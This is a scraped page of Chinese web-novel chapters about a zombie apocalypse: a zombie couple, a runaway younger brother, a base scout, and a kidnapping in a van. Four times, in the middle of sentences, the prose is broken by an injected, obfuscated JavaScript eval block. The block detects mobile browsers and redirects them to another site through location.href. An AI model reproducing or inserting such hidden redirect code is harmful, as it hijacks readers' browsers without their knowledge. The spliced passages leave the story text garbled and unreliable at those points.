这几天，他能看到他哥对嫂嫂是百般照顾，只是嫂嫂脸色不怎么好，和他哥之间总是有点疏离。旧时代他哥在家里说的最多的就是嫂嫂，炫耀和嫂嫂的感情好。如今发生任何隔阂的源头只能是他发的分手消息。 那天发了消息后，朋友就把手机关静音了。等到结束，他才看见很多通未接来电，他意识到不好，想给嫂嫂解释，没想到末日来临，信号全面崩溃。 他现在解释这些，也只希望嫂嫂能少怪罪点他哥。 续昼松开寻游的手。 他一下子像是被扼住了喉咙，心沉入谷底，说不出话：“嫂嫂……” 完了。 寻游脑海里只剩下这一个念头。 续昼看着他，语气平静：“你待在家里不准出去，我去找你哥。” “……好。”寻游还想再争取一下，但看到续昼面无表情，不想听他再说的样子，他努努嘴，最终只能应好。 寻游看着续昼的背影离去，在心里默默祈祷，希望嫂嫂还能要他哥。 续昼快步走出院门。 系统：“生气了？” “没有。”续昼很冷静，“帮我导航寻春的位置。” “你说这小屁孩也真是，这种话也能拿来玩游戏，就该给他一点教训……”系统边导航边数落寻游。 续昼没有搭话，沉默如金，循着系统的路线去找寻春。 要说生气，她也没有很生气。 在知道是乌龙后，她甚至有丝庆幸，庆幸那些幻想都没有发生，她们都好好的。但是寻游能随便用分手来开玩笑就是不对的，这一点她确实生气，不管是不是在玩游戏，这种思想就是不对的，没有人会喜欢这种玩笑。 不止爱情，任何感情都不应该打着玩笑或者游戏的借口去做一些伤人的事情。 只是，教训寻游的事情还是交给寻春好了。 寻春，他是真的会动手。 续昼丝毫没有心疼寻游的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304650|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法。 不过，她出来并不完全是为了这件事。寻游说“那天他着急忙慌的就出去了”，这个才是她关注的重点。 寻游在家就说明他父亲这边没有出事，不然寻游也不可能还安稳待在家里和朋友玩真心话大冒险。能让寻春着急忙慌出去只能是他母亲那边出事了，而且这事还挺严重的。 所以在她问分手那天，他为什么不说他做了什么，她差不多也知道原因了。 导航显示，寻春在回来的路上。 远远的，续昼就看见寻春了。 阳光从寻春背后跳出来，橘黄色的光芒模糊了轮廓，他周身仿佛镀着一层光圈。他一手提着袋子，另一只手拿着花，慢慢走向她。 续昼心定了下来，她小走几步，最后大步跑向他。 耳边的风声逐渐变小，直至换成他的心跳声。他稳稳接住了扑过来的她。 续昼抱住寻春的腰肢，从他怀里抬起头。他眼睛亮亮的，对于她的到来很是高兴，她心一下就软了，她轻声说：“你妈妈一直都在你身边，就像我的爸爸妈妈一样。” 话音刚落的一刹那，寻春错愕不已，就连手里的袋子掉到地上也没有发觉。他愣住几秒后紧紧抱住续昼。他听懂了她的话，她真的猜到了。 他将脑袋埋在她肩头，在她看不到的地方，眼圈已经泛红，他的声音闷闷的，带了一丝哭腔：“末日那天，我在门外等她做手术，但她死在了手术台上……” 续昼抬手拍着他后背，安抚着他的颤抖。 她知道他不说的原因，没有什么难言之隐，只是他不想让她在陷进父母离世的悲伤中，还要再去安慰他。 她只用伤心一次就够了。 他只是想，等到时机成熟，等到他已经消化完失去亲人的痛苦后，再轻描淡写地告诉她，他的家人也走了，不过她不用安慰他，因为都已经过去了。 在寻游说出那句话的时候，她就明白了一切。 她们俩太了解彼此了。 他知道，只要他说了第一句她就会知道，所以他选择不说。 但没关系。 续昼回抱住寻春。 …… 21：59 手术室门上的灯熄了。 门开了，医生出来：“很遗憾，我们尽力了。” 22：00 嘀嗒，走廊上的时钟跳到晚上十点。 寻春瞳孔微缩，无意识后退半步，低下头，刘海盖住他的眼睛，看不清他的表情。同一时间，他身边的男人已经冲进手术室了——他成功了，医院突然灯灭，走廊陷入无尽黑暗，紧接着尖叫声四起，恐慌极速蔓延到整个医院。 丧尸暴动，没人知道末日来了。 变成丧尸的医生嘶吼着扑向寻春。 寻春反应迅速侧身躲过，一脚踹开医生，凭借黑暗前的记忆冲进手术室，同时从里面又跑出来几道人影。 他夜视只能看到轮廓，摸着墙壁前进，直到看见手术台，那里蹲着一个身影，是他母亲的现任老公，听到医生的话后毫不犹豫冲进来的男人。 寻春走向手术台。 突然，右腿传来疼痛感，随后他意识开始模糊。 “哐当。” 他倒地。砸向地面的前一秒，他的手刚碰到白布，白布滑落，盖住他的半边身体。 23. Chapter 23 续昼：“我们去接你妈妈吧。” 续昼牵着寻春的左手，她左手拿着花，他右手拎着袋子。 旧时代的寻春没能见到他妈妈最后一面，变成丧尸后的他没有意识又径直跑去了其他城市，直到现在，他都没有再回去过。 寻春抿嘴：“好。” 他有丝庆幸，有时候他的遗憾总是会以另一种方式补齐，在遇见灯灯后。 他稍微捏紧了她的手。 续昼感受到寻春的力度，拇指点点他的手，以作回应。 …… 院子里没有寻游的身影，房间里也没有，周围也没有。走一路回到家的两丧尸发现院门大开，独自在家的寻游不见了，只留下一张纸条。 两丧尸表情凝重。 续昼仔细回想她出门前寻游的表现。 “小游是不是故意告诉我这件事情？”续昼莫名有种预感，寻游不单单只是想解释这场乌龙，他也想借此离开。 如果寻游提出要自己一个人离开，她和寻春肯定是不会答应的，所以他最好是偷偷离开，而找一个合适的借口是离开的最好方式。 这场乌龙就是很好的借口，因为她肯定会出门去找寻春，这样家里就只剩他自己了。 再联想遇到寻游那天。 他站在礁石上喊救命，但他根本就不需要别人救他。他呼救，真正的目的应该是吸引别人的注意。 那吸引别人的注意是为了什么呢？ “有可能。”寻春拿着纸条：“他应该有什么重要的事情要让别人知道，但是他不想牵扯到我们。” 他想起第一天，下午寻游的欲言又止。 纸条上面写着：嫂嫂，请你不要怪我哥。你们也不用找我，我很安全。 续昼叩着桌子，差点气笑了：“你弟弟挺会考虑啊。” 这下她真生气了，一个二个的都是纯硬扛事的，也不在意一下自己的安危。 “他还不知道带点吃的。”桌子上的食物一点没少，走就走，也不知道连吃带拿。 寻春为他发声：“他是在意我们。” 续昼无奈：“就是因为知道他在意我们，更气了。” 两丧尸没有过多思考，商量几句后，就决定分头寻找寻游的下落，分开找效率更快。她俩是丧尸，没有后顾之忧，最适合出去找人了。 走之前，续昼不忘提醒寻春，遇到人要隐藏一下身份。 一直看戏的系统：“不是，你们怎么这么确定自己的猜想是对的，万一是错的呢？” 它听着她们一通叽里咕噜之后，突然拍板要出门找人，总感觉自己错过了什么重要的剧情，但它一直在场，也没有开小差。 这对吗？ 续昼眼忙，脚更忙，身上还背着给寻游带的一些食物。她拨开挡路的枝条，随口道：“错了就错了，先找人更重要嘛。” 寻游做这一切的原因固然重要，但是光待在家里，他又不会自己跑回来。于其在家里瞎想，不如直接把人找到，去问本人。 当然，这么做的前提是，她们都是丧尸。 如果是人的话，她们就会一起去找。 系统懂了。 不管她们猜想是什么，这些都只是找人的借口。 时间一点点流逝，太阳都要收拾着下山了，续昼还是看不到人影。她左手扯树叶右手撕开扔地上，不禁感慨，现在的人都跑这么快吗？是她一个丧尸缺乏锻炼了吗？ “看你天天躺着的舒服样，”系统点她：“你不缺乏锻炼，谁缺乏呢？” 续昼手动打断：“好了，不许再说了。” 她还是不理解，寻游天天躲在房间里，怎么关键时刻这么能跑。 续昼依靠系统导航，没有重复的线路。但是她一路走过来，空荡荡的城市，连丧尸都没有看到。 “我的体质已经连丧尸都要退避三舍了吗？”续昼疑问，“还是说楼江镇已经成空城了？” 系统查看导航，回答道：“丧尸有倒是有，但他们都在移动。” “都在移动？” “对。”地图上，代表丧尸的小圆点都在移动，每一条运行轨迹没有规律，但是都在楼江镇范围里，按照线路图，它们已经够把楼江镇绕几遍了。 听到系统的解释，续昼神情逐渐怪异。 丧尸集体移动，并且是在整个楼江镇行动，这可不止一点奇怪。在寻游没来之前，她和寻春出去逛的那几天，相同的时间点可没有出现过所有丧尸一起移动的场景。 偏偏是现在，她们找寻游的时候，城市里的丧尸全都移动起来，像是在全城搜查。 搜查谁？ 寻游吗？ 丧尸也会找人吗？ 忽然，系统大叫，狠狠谴责：“可恶！又动我的能量啊啊啊啊啊！” 那是它通过打赏任务辛苦给自己攒的路费啊，怎么又被用了？！可恶的寻春，可恶的丧尸，它不是设置了能量单向限制吗？怎么他还能动用能量引发波动？ 系统自顾自地碎碎念，开始搜索能量是从哪里跑出去的。 经过一番苦苦搜寻，最终发现一开始的能量波动出现在打赏任务的电子屏幕上。 系统气。 内测版就是不靠谱，它一定要写三千字差评！ 被迫听了一大段优美系统话的续昼决定登上山顶看看丧尸集体找人的盛况。 她已经知道了这些全是寻春的手笔，为了快点找到寻游，他联系楼江镇内的丧尸一起找人。 寻春经过她多次打赏已经升级了，如果丧尸有具体的等级划分，他现在应该小有名气了。 这是寻春告诉她的。在某次外出找食物中，他就尝试过命令丧尸去摘树上的果子，丧尸听了，也行动了，但是丧尸最后没有完成他的命令，因为那几个丧尸不会爬树。 虽然但是，他还是实验出来，他已经可以命令丧尸了。 不过，楼江镇一个城市，这么多的丧尸，单靠他肯定是不能命令完的，难怪动用了系统的能量。 听着系统在骂骂咧咧，续昼粗略估计未来几天，她一直能听到系统对寻春的谴责，无时无刻。 系统可惦记它的能量了。 续昼在路边捡了木棍，拄着木棍上山，还不忘附和系统以“你看看你家寻春”为开头指责寻春的话。 登山过程中，她心里飘过一个不合时宜的想法，寻春这么高调让全城丧尸寻找寻游，不会把寻游吓到吗？ 设身处地，如果她是人，发现往哪走都有丧尸，她可能会就地藏起来，藏到丧尸都离开。 趁着太阳还没下班，续昼紧赶慢赶登上山顶，俯视楼江镇。她登的山不算高，只能看到城市一部分，但这也足够了，她看见很多小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309508|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑点在城市移动，速度不快，胜在数量多。 丧尸海战术，她算是一饱眼福了。 续昼就地坐下，用木棍敲打着地面，毫无节奏。 系统抽空关注了一下续昼：“你怎么不继续找人？” “爬山爬累了。”续昼回复。 “哦。”系统又开始蛐蛐寻春。 续昼自动屏蔽这些话，把这些话全当作背景音乐。她皱眉，心里全是无奈，怎么骂的是寻春，受苦的却是她呢？ 好想痛苦能一键转移。 寻春丧尸等级逐渐提升，但续昼丧尸等级仍然停留在原地。 她问过系统，为什么这个打赏任务不能打赏给她自己，她不能升级吗？ 系统解释，打赏任务最初设定是给别人赏钱，也就是通过直播给主播打赏，从而任务者得到相应分成。它接的隔壁星系任务就是这样的。 但是地球这个世界变了，不匹配最初的任务设定，于是作为临时任务，打赏任务自行进行了一系列的规定修改。 任务者给丧尸打赏，会让丧尸等级提升，同时返还给任务者一定的能量，这个返还的能量落到系统手里，而到续昼手里则是“回收权”，顾名思义，她可以回收给丧尸的打赏。 随时随地，让丧尸从丧尸王变成最初的样子，只需要一秒钟，在电子屏幕上点击“打赏回收”即可。 这些都是打赏等级升级后新增的。 前几天系统提醒续昼打赏等级升级了。续昼没过多关注，只让系统告诉她有什么变化。 了解完变化，续昼觉得索然无味，还不如让她能学会丧尸话。她除了每天点一下打赏，一点体验也没有。 系统提议：“你可以试试打赏回收。” 续昼丝毫不考虑：“我回收干嘛？让他又变回无意识的丧尸，然后又开始重新打赏？我图什么？” “图体验的快乐。” 续昼友好提醒：“系统你是不是忘了，打赏回收后，你通过任务获得的能量也会回收，到时候我们就只能重开，而你，距离去隔壁星系的时间又会被延后，你不担心什么系统总结大会，不担心优秀系统的荣誉吗？” “呜呜呜原来你是在为我考虑……”系统两眼泪汪汪，为同盟对它的关心而动容。 其实只是不想重开，嫌麻烦的续昼：…… 系统误解太深了怎么办？那她只能欣然接受它的感激了。 …… ‘有点冷’ ‘我爱摘叶子，我是勤劳的摘叶尸’ ‘这里没有，那里没有，哪里也没有’ ‘这是什么洞，踩一下，啊——’ ‘怎么全是丧尸’ —— 丧尸传递回来的讯息杂乱无章，都是没用的。寻春接收着来自四面八方的消息，消息太多，他的脑袋开始隐隐作痛。 一开始，他并没有想到要让丧尸去找寻游，直到遇见在蹦床的丧尸。他才尝试着命令让他们去找寻游。 这个命令的过程很艰难，因为他向丧尸凭空描述寻游的样貌，他们根本想象不到，只知道寻游有张脸，他们根据话语联想不到具体的样貌，同时他们也记不住那么多内容，于是在一开始，他说一句，他们就反驳一句‘不行’。 每个丧尸都要反驳一句。 最后是他命令他们寻找人类，才成功的。 24. Chapter 24 出乎意料的是，寻春没有想到这次命令的丧尸多出太多，有些丧尸还会一传十，十传百，导致楼江镇大部分丧尸全听从了他的命令，让他一时间难以承受，好在一股轻微的电流降临，才让他的脑袋撑到现在。 不过，随着时间推移，他脑袋的疼痛感也愈来愈强，估计快到承受阈值了。 寻春靠着树，就地坐下。 他还没有学会收回命令，只能被迫等待自己因为承受不住而晕过去，晕过去之后，丧尸命令就会自动断开。他已经尝试过，这对他没有什么影响，醒来之后就会自动恢复。 发现自己的能量偷偷给寻春恢复的系统：…… 寻春的上下眼皮在打架，终于，他坚持不住了。 他只有一个念头，只希望能早点醒过来。 …… “外面怎么一直有这么多丧尸？” 靠近楼江镇边缘，一栋藏在花园中的小楼房里，有两人趴在三楼小阳台地面上，屏气凝神，观察着院子外来来回回的丧尸，透过遮挡的树木还能看见更远处游走的丧尸。 这两个人不是别人，正是东轩彩和寻游。 东轩彩心里升起不好的感觉，这些丧尸像是在寻找什么，走了一批后又会来一批新的丧尸，来来往往，循环往复。 寻游在旁边，脸色越来越差。 从他们躲在这里开始，这样的场景已经持续一个多小时了，丧尸不知疲倦，只是坚持不懈的巡视，不止这里，他们一开始躲藏的地方，一路上也有丧尸光顾。 他有点焦躁，不单单是为他自己。 也不知道他哥和嫂嫂到家没有，他离开的时候两人还没回来。不知道他们在路上有没有遇到丧尸，能不能保护好自己。 他有点怀疑自己的选择是否是正确的，万一因为他，害得他们两人落入丧尸的包围之中，他不敢想象…… 可是这件事，他们两人也不能被他牵扯进来。 脑海中幻想的场景愈加让寻游直冒冷汗，他嗫嚅着：“我我想……” “你不能想，我们不能打草惊蛇。”东轩彩转头瞟了一眼，打断了寻游的话。 他知道寻游在想什么，但是现在外面丧尸很多，仅凭他们两人是做不了什么的，还有可能白送两个人头。他们只能等，等到丧尸都离开了才出去。 东轩彩翻个身，背躺地面，看着橘黄色的天空。他从口袋里拿出块压缩饼干，递给寻游，说着：“吃点东西，垫个肚子。” 寻游接过饼干，小心撕开，一口口吃着。 听着包装袋被撕开，耳边传来的细细簌簌声，东轩彩揉了揉眉心。 那天，他连夜赶路回了基地，还没休息，就强撑着第一时间将那个眼睛有红光的丧尸报告给基地高层。 他不是没有遇到过队友死在丧尸手里，来天河基地前他也有过队友因为判断失误命丧于丧尸之口的经历。但是这次和以往很不一样，回去的路上他一直在回想，红光丧尸明显变得更聪明了，他像是被丧尸特意放走的。 如同被操控着，步入丧尸的圈套。 那股感觉始终萦绕着他。 他一刻也等不了，只想着要快点告诉基地这件事情。 基地对他的报告很在意，立马安排了好几个探查小队前往阳兴市以及周边城市，搜索是否还有类似的红光丧尸出现，任务只要求搜查，一经发现立刻回基地汇报。 四年了，没有出现过红光丧尸的情况，基地大部分人怀疑是丧尸可能出现二次变异，如果是真的，这意味着人类的处境比末日来临的大混乱时期还要糟糕。 目前，基地的发展重点在努力解决食物问题，成果还不明显，末日土地能让植物加速生长，但是蔬果却难以存活。 医疗方面同样不容乐观，末日时受灾最严重的区域是各地医院，很多医生都死在一开始，其中包括很多医学大拿，再加上旧时代的药物作用不大，现在仍有很多人是病死的，不是不愿意治，而是没有办法治。 要是这时再出现丧尸变异的情况，人类的发展就更艰难了。 以防万一，基地拜托他和其他人分别前往其他基地告知这个消息。就算不是真的，未雨绸缪总是没错的。 东轩彩答应了。 但他是一个人出发的。 有很长一段时间，他都认为自己是个灾害，会害死身边人，不然为什么他的队友都死了，只留下他一个人。如果不和他组队，他的队友或许会活得更久—— 他们已经不求长命百岁了，只希望能多活过一天。 加入天河探查十一组后，原本以为他的孤狼生涯要彻底离他远去，没想到这次依然只有他活下来了。 他站在铁门外，遥望着铁门内变成丧尸的五个队友。他们嘶吼着，想要抓住他。 他甚至有一瞬间在想，要不就和他们一起变成丧尸？这样他也不用再成为一个人了。 那两个好心人拉回了他。 “祝你平安！” 明暗交接处，这句每次和队友出发做任务前的诅咒再一次将他扯回现实中，他迈出一步，走进阳光底下。 他可以死，但绝不是现在这个眼睛会发红光的丧尸还没有被人类所重视的时候。 楼江镇没有建立人类基地，他进入楼江镇是为了补给，没曾想碰到寻游在呼救。 “这一半给你。”寻游掰了一半饼干递到东轩彩嘴边，他中午吃饱了，现在不是很饿，“我吃饱了。” 寻游突如其来的举动打断了东轩彩的思绪，后者也没推辞，拿着饼干一两口就吃完了。 夕阳西下，晚风吹去白天的燥热，阳台上的气氛安静下来。 东轩彩瞥了眼沉默的寻游，想起几小时前的事情。 他不明白好端端站在干涸池塘边的人要喊救命，没有丧尸也没溺水，安全的不能再安全了。他在旁边观察了一会儿，才上前跟寻游搭话。 他问：“救谁？救一个小时后的你吗？” 寻游没有回答，反问道：“你是基地的人？”语气有疑问，但不多。 刘海遮住寻游的眼睛，东轩彩看不清他的神情，只能分辨出他很瘦弱，想必末日以来他过的不怎么样，还带着点凶狠的劲。 东轩彩没有隐藏身份的想法，肯定道：“是。” 寻游又问：“什么基地？” “天河基地。”东轩彩还拿出了身份凭证，这是基地给他的，为了应对其他基地不相信他的情况。 寻游仔细查看了一番，松懈下来，右手揪着衣角在纠结。 东轩彩看见他的动作，有点好笑。不认识身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315030|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凭证就算了，他怎么还能因为随便一个凭证就认定这个人是基地的？ 东轩彩默默在心里给他贴上标签，有点聪明，但不多。 寻游：“我有很重要的事情要告诉基地，我跟你回天河基地。”说完，许怕东轩彩拒绝，又添了一句：“放心，遇到丧尸，我能保护我自己。” 东轩彩扬眉。这话…… 寻游再说：“只是同个路而已。” 东轩彩直接拒绝了。 一是他不去天河基地，二是寻游一个人也能去基地。 寻游没想到东轩彩会拒绝，他一下子愣在原地，犹豫着要不要换个人跟去基地，但是看眼前这个人的凭证又很真，他看不懂凭证，只是感觉这个证很有分量。 东轩彩也没解释。 寻游：“我没去过基地。” 东轩彩认为他在说笑。 没有去过基地，这怎么可能呢？末日都第四年了，幸存者首选就是基地，单靠自己躲避丧尸是很难的事情，更何况他看起来只有十六七岁的样子，末日来临他才十二三岁，正是上学的时候，身边肯定有大人，跟着大人行动也会前往基地。 就算他不上学，他的身边也会有其他人，路上遇到大部队也会前往基地。 没去过天河基地，有可能。但没去过基地，听起来谎话连篇。 东轩彩不信，也没再搭理他，转身找今晚要休息的地方。 寻游沉默的跟在他身后。 “你跟着我也没用。”东轩彩说。 “我真的有事要告诉基地，很重要的事。”寻游很急切。 “那你先说是什么事。” “不行，我要去基地再说。” …… 无效的沟通终止于丧尸成批的出现。东轩彩随便找了栋小楼房躲藏，寻游跟在他身后，也藏进小楼房。 东轩彩好奇：“你不说说能保护自己吗，怎么还跟我藏一起？” 寻游有歪理：“你又没答应我，那我前面说的就不算。” 东轩彩哑口无言：……？好有道理的样子，他一时之间竟然找不到反驳的话。 东轩彩锁了门，上了三楼，不在意寻游跟在他身后的举动。两个人待在三楼，观察着丧尸。一直有丧尸在周边游荡，数量也多，他们只是看着，没有轻举妄动。 时间一长，东轩彩再次询问寻游要说什么事情。 寻游踌躇了好一会儿，才说：“是关于丧尸的。” 丧尸？ 丧尸的事情有什么重要的，有什么好说的，除非……像他遇到的那种。 东轩彩打量着寻游，思虑着他有没有可能也遇到了眼睛会发红光的丧尸。他虽然瘦弱，但身上没有明显打斗受伤的痕迹，他逃掉了？或者他没有直接面对？ 想了想，东轩彩试探着：“你说的关于丧尸的事，那丧尸的眼睛有什么特别吗？” 寻游震惊地看向他，没有说话。 看到这个反应，东轩彩心想自己猜对了。丧尸变异果然不是个例，能出现在人类大众视角之下，就说明丧尸变异至少已经持续了一段时间。 他心沉下来，看来情况不太妙。 东轩彩直接问：“它的眼睛会发红光？” 他二连问：“它比其它丧尸更加强壮？” 25. Chapter 25 寻游终于说话了，他没有反驳，只是问：“你怎么知道？” 东轩彩语气沉重：“我遇到了。”他把那天发生的事情简单说了一下。 比起东轩彩浓墨重彩描述的丧尸，寻游更好奇的是他口中一笔带过的两个好心人。能杀死丧尸，说明他们两人身手不差，或许他们能够帮助自己。 只是可惜东轩彩也不知道他们去哪里了。 寻游有些惆怅，但很快又调理好了，基地人多，肯定能找到很多厉害的人。 寻游：“我说的和这个丧尸有关系，但不完全是这件事。” 不完全是？ 难道还有其他类型的变异丧尸？ 东轩彩想的比较多，他担心丧尸变异的方向有多个，这样一来，恐怕更加艰难了。 寻游依旧没有说具体的事情，东轩彩心里也念着其他事情。不过，这个同路他倒是答应了，只不过不是回天河基地，而是去其他基地。 反正去哪个基地都没差。 是基地就好。 …… 寻春醒了，他的脑袋已经不疼了。 他起身拍拍衣服，上面沾了露水，看这天色，已经是第二天早上了，他在外面晕了一夜，好在没出什么事情。 他没有找到寻游，不知道灯灯那边找的怎么样了。 寻春记得路，抄近路回了家。 院门大开，房子里静悄悄的。寻春没由来地一阵心慌，他心道不好，赶紧进去，每个地方都检查了一遍。续昼不在，寻游也不在，整个房子和昨天出门前别无两样。 院子里的秋千顺着风轻摇，寻春站在屋檐下。 一晃，眼前又有花炸开了。 是续昼。 他稍微放了点心，花炸开了，说明她现在是安全的。 …… 续昼醒来时看见的是车顶。她闭眼再睁开，还是车顶。她认命坐起来，还没起身，车辆一个颠簸，她又躺了回去，脑袋还磕了一下。 “嘶。”她揉揉后脑勺。 靠车尾的位置蹲着五个少年，他们都看见了续昼的动作。 其中一个短发女孩挪过来，伸出手扯了扯她的衣角。见续昼看过来，短发女孩示意她不要说话。 这时续昼才注意到车厢里还有五个人。三男两女，看着年纪不大，和寻游差不多大，都很瘦弱，扯她衣角的那个短发女孩手背上全是密密麻麻的小红点。 续昼还没看清，短发女孩就收手蹲了回去。 续昼朝短发女孩点头，小心起身，像他们一样蹲着。她伸长脖子，去看面包车前面。 面包车前部分有扇门，从前面锁住了，门上有个小玻璃窗，上面模糊且脏乱。续昼透过小窗，看清了前面的样子。 最前面是主、副驾驶位，往后面是一排三个座位。一个五个座位坐了四个男人。 续昼探头探脑的动作照在中央后视镜里，被第二排左边的男人看见，他猛一敲玻璃窗，语气很重：“看什么看，再看我就把你眼珠子挖出来。” 男人突然凑过来，玻璃窗前是他的一张大脸，从左眉斜着到右嘴角有一道伤疤，眼神凶狠。 视线冲击太强，续昼瞳孔微缩，一下子跌坐在地。男人又敲玻璃窗，她低下头，挪动到短发女孩左手边。 脑海里共享续昼视角的系统哇哇叫：“啊啊啊啊啊他怎么突然冲出来，吓死我了。” 见续昼安分了，男人又指了指其他人：“别以为我只在说她，你们也是，一个个都给我老实点。” 接触到男人的视线，其他人接连低下头，抱紧自己，不敢出声。 男人这才满意的转头回去。 右边坐着的长发男人拍拍他的肩膀，笑道：“我们老三脾气还是这么冲，对小孩子脾气还是要温柔一点。” 长发男人侧过头，看向后面的车厢。 续昼有点好奇，背靠车壁，悄悄抬头瞥了一眼。刚好撞见长发男人似笑非笑的眼神，他挑起左边眉毛，勾起嘴角，笑容诡异，看得续昼心里发毛，寒毛直竖。 搓搓手臂，她赶紧低下头，心念着再也不好奇了。 又一次经历冲击的系统：“我地啊啊啊啊啊这个笑得好难看。” “滚呐，”伤疤男人回，“要你管。” 副驾驶方向传来幸灾乐祸的声音：“老五，你又被骂喽。” “你也滚。”伤疤男人无差别扫射。 “哟，老二你也不行啊。”这下换长发男人嘲笑了。 “好了老三，”主驾驶说话了：“你俩也是，都少说点，要坐过山车了。” 话音刚落，只听见“砰”的一声，面包车一个大起伏，续昼没稳住，往前倾，左边身体撞上面包车前面的门，没等她回过神，车辆又一个加速，她惯性往后倒，撞上短发女孩。 短发女孩身上没什么肉，全是骨头，两人都被骨头硌到。续昼太重，冲击力又强，短发女孩承受不住，被迫往后倒，撞上旁边的卷发男孩，卷发男孩撞上后车门，发出一声闷哼。 续昼见状，赶紧往前移，抓着门前突出的部分。 她小声抱歉：“对不起对不起，我不是故意的。” 短发女孩声音嘶哑：“没事。” “有事，”卷发男孩很显然认识短发女孩，他瞪了一眼短发女孩，小声训她，“你都咬破嘴皮了，还说没事。” “啊，”续昼更加愧疚了，她身上什么也没有，“对不起……” 短发女孩摇摇头，让卷发男孩不要再说了。 续昼默默抓紧突出的部分，心里发誓下次一定不要撞到短发女孩。 造成颠簸的原因是途遇几个丧尸，面包车横冲直撞碾压过去，公路上留下一堆残肢。 副驾驶夸赞道：“老大这开车技术就是好啊，一个不留，全成碎块了。” 主驾驶满不在意：“这种丧尸小意思，遇到人反应都慢半拍，又傻又不耐撞。还得是……” 长发男人：“对老大来说，什么都轻轻松松。” 后面四个男人也没说什么话了。 续昼听的气愤，命丧面包车的丧尸很明显是不会攻击人类的丧尸，连全尸都没留下，多惨啊，她作为一个丧尸，想来都难受。 系统点出事实：“同盟，你是丧尸，但他们不是啊。在人类眼里，丧尸确实攻击了他们。” 续昼被说的一个激灵。 后知后觉，丧尸身份适应的太快，她都陷入误区了。 “我怎么开始批判被丧尸攻击的人类了？” “因为你已经接受丧尸了。” 一种身份认同感，让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323854|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续昼开始偏向丧尸这一边。当然也有因为她没有真正经历过大混乱的末日，没有感受到丧尸带来的危害，再加上她又知道了丧尸有好坏之分，所以她自然而言会为不攻击人类的丧尸被车撞死而心疼。 善良的本性。 系统苦口婆心劝告了一番。 续昼听没听进去不知道，但她想起了系统被吓到的事情：“系统，你怎么也会被吓到？高科技产品胆子也这么小吗？” 系统微笑：……它就多余搭理她。 还有，那两人能吓到它也只是凑巧，凑巧懂吗？！ 它可是高科技产品，做过的任务少说也有几十个了，早就司空见惯了。 系统不屑。 系统越想越在意。 系统反驳：“你才胆子小，还被吓到坐地上去了。” 续昼没理系统，先做了今天的打赏任务，给寻春报个平安。 刚才透过小窗，她看到外面的天色，看见陌生的公路，显然已经离开楼江镇了，麻烦了，不仅没找到寻游，她也不知道要被抓去哪里。 这次是真惨了。 系统查了导航：“这条路往西，前面最近的城市是丘西市。” 丘西市。 续昼听说过这个城市，但是旧时代她没有去过。 只记得丘西市的某所学校上了新闻，著名慈善机构给某学校捐了一个亿，意在改善学生的生活条件，后面经热心人士曝光，发现学校领导层私吞了捐款，视频里学生的生活条件没有变好，甚至更差了，还遭受着非人待遇，跳楼而亡的学生不在少数。 事件经舆论被曝光后，人神共愤，相关领导层的信息满网飞，他们收到无数条恐吓消息，被寄死老鼠等等吓人的快递，家里人也没逃过。最终相关领导层被撤职，捐款被追回。 新上任的领导层接受市记者采访，说是要退回捐款，被慈善机构拒绝了。慈善机构又加了一倍捐款，希望新领导能真正改善学生的生活条件。新领导接受了捐款，并且在网上发布了改善视频，视频里面，学校翻了新，学生脸上都洋溢着幸福的笑容。 结局美好。 没想到两年后，事件反转。 慈善机构第一次捐款后，原领导层就私吞了捐款。被撤职的相关领导层是后上位的，他们原本是丘西市一个贫困村上的学校领导，为了村里的学生没少费心思。他们会去到某学校是市里安排的。 没上任几天，所谓的热心人士就曝光了捐款被私吞的事情，加上背后推动，他们当了替罪羊，受了网暴，自掏腰包还了捐款。 新上任的领导层和原领导狼狈为奸，私吞了最初的捐款和后续两年里陆陆续续的捐款，他们拍的视频是其他学校，学生也是其他学校的。 热心人士曝光的视频就是原领导层干的事。在这个事件中所涉及的一系列人都是帮凶，在权势之下包庇着原始的罪恶。为什么会有这一出戏，也是因为慈善机构要回访捐款情况。 